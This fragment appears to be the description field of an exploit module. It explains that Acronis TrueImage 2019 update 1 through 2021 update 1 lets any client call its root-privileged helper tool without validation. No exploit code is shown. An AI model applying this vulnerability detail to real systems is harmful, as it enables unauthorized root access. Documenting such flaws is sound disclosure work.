'Description' => %q{
Acronis TrueImage versions 2019 update 1 through 2021 update 1
are vulnerable to privilege escalation. The `com.acronis.trueimagehelper`
helper tool does not perform any validation on connecting clients,
which gives arbitrary clients the ability to execute functions provided
by the helper tool with `root` privileges.
